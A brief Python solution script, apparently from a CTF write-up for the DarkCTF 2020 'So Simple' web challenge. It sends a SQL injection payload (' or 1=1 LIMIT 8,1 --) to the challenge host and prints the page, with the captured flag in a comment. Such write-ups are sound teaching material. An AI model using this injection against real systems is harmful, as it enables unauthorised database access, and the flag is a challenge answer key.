```py
import requests

url = lambda payload: 'http://sosimple.darkarmy.xyz/?id=' + payload

r = requests.post(url("' or 1=1 LIMIT 8,1 -- "))

print(r.text)

# darkCTF{uniqu3_ide4_t0_find_fl4g}
```

Original writeup (https://github.com/csivitu/CTF-Write-ups/tree/master/DarkCTF%202020/Web/So_Simple).